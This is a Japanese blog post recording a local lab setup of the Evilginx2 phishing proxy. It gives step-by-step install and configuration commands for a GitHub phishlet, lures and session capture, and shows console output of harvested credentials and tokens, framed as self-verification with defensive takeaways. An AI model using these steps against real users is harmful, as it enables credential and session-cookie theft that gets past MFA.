こちらの記事は、自身の検証のために行った証跡を残したものです。
この内容を悪用することは絶対にしないでください。
Evilginxとは何か
フィッシングのためのツールです。
最近、MFAをバイパスして認証情報を取得できるツールとして下記などで取り上げられています。
https://cloud.google.com/blog/topics/threat-intelligence/session-stealing-browser-in-the-middle?hl=en
最も一般的なツールはEvilginx2です。これは、レッドチームのオペレーターのサーバーが被害者とターゲット サービス間の仲介役として機能する透過プロキシです。被害者が行ったすべての HTTP リクエストはフィッシング サーバーによってキャプチャされ、目的の Web サイトに直接転送されます。ただし、被害者に応答を返す前に、サーバーは正当なドメインへの参照をフィッシング ドメインに置き換えることで、応答を微妙に変更します。この操作により、オペレーターは POST リクエストから被害者のログイン資格情報を取得するだけでなく、被害者が認証と MFA プロンプトを完了した後、サーバーの応答ヘッダーからセッション Cookie (トークン) を抽出することもできます。
実際に手元の環境で環境構築をしたので、その内容を記しておきます。
環境
Rocky Linux 9.5です。
uname -r
# 5.14.0-503.14.1.el9_5.x86_64
インストール・事前準備
Goのインストール
yum install golang
#インストール確認
go version
# go version go1.22.9 (Red Hat 1.22.9-2.el9_5) linux/amd64
Evilginx利用準備
pwd
#/root/evilginx
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
Phishletsのクローン
ここで取得するPhishletsに、もろもろの定義が書かれています。
こちらを使って、リクエストを本物のサイトに転送したり、入力値を取得したりするようです。
cd /root/evilginx
git clone https://github.com/ArchonLabs/evilginx2-phishlets.git
動かしてみる
build内に「evilginx」があるので、これをphishletsのディレクトリを指定してたたきます。
--developerで、自己署名証明書を作って適用してくれるようです。
cd evilginx2/build/
./evilginx -p /root/evilginx/evilginx2-phishlets/phishlets/ --developer
起動したらNW周りの設定をします。
今回はEvilginxサーバ自身からアクセスするのでこの設定ですが、ほかサーバからアクセスする際は、ipv4にはサーバのIPアドレスを設定してください。
config domain test-evilginx.com
config ipv4 external 127.0.0.1
phishlets hostname github github.test-evilginx.com
phishlets enable github
phishlets get-hosts github
#127.0.0.1 github.test-evilginx.com
#127.0.0.1 api.github.test-evilginx.com
#127.0.0.1 github.github.test-evilginx.com
取得したものをhostsに書きます。
vim /etc/hosts
ブラックリスト(フィッシングに引っ掛けない相手リスト)に自分自身が登録されていないことを確認します。
ここに登録されているとアクセスしたときに謎のYouTubeに飛ばされます・・・
cd /root/.evilginx/
cat blacklist.txt
ルアーを作成し、Webサイトを立ち上げます。
lures create github
lures get-url 0
表示されたURLにアクセスします。
自己署名証明書なので警告が出ますが、無視します。
(これが本当に悪意あるサイトである場合は、攻撃者はドメインを取得しているので、DVの証明書を取得して設定できるため、警告は出ないと思われます)
表示が壊れてますが、ほかのphishletsであれば正常に表示できるのが多いみたいです。
(例 : TikTok。TikTokにログインしたことないですが・・・たぶんあってるんでしょう)
(おそらく、github.comではなくgithubassets.comに取りに行くところでエラーになって表示が壊れているっぽい。CORSかな?)
ログインしてみると、Evilginxコンソールにユーザ名/パスワードが表示されます。
さらにCookie情報を取得しに行きます。
sessions
# +-----+-----------+-------------+---------------+-----------+------------+-------------------+
# | id | phishlet | username | password | tokens | remote ip | time |
# +-----+-----------+-------------+---------------+-----------+------------+-------------------+
# | 1 | github | user-name | password | captured | 127.0.0.1 | 2025-03-29 23:38 |
# +-----+-----------+-------------+---------------+-----------+------------+-------------------+
sessions 1
いっぱいCookie関連の情報が取れました。(下のほうは切ってます)
やってみて
簡単にこういうのが立ち上げられるのは怖いですね。
MFAを強制していても、セッションをハイジャックしてMFAを攻撃者のデバイスに変えることも可能になると思います。
なので、IP制限をかけるとか、クライアント証明書がないと情報が取得できないようにするが必要になるのかなあと思われます。
ユーザ側としては、ログイン時はちゃんとURLを確認しないといけないですね。
参考にしたリンク
https://tkyonezu.com/os-linux-windows/almalinux/almalinux-%E7%AC%AC25%E5%9B%9E-rocky-linux-%E7%AC%AC12%E5%9B%9E%E3%80%8Cgo%E8%A8%80%E8%AA%9E%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E3%80%8D/
https://armoris.hatenablog.com/entry/2024/01/23/175959
https://note.com/tkusa/n/nd070a22dcf17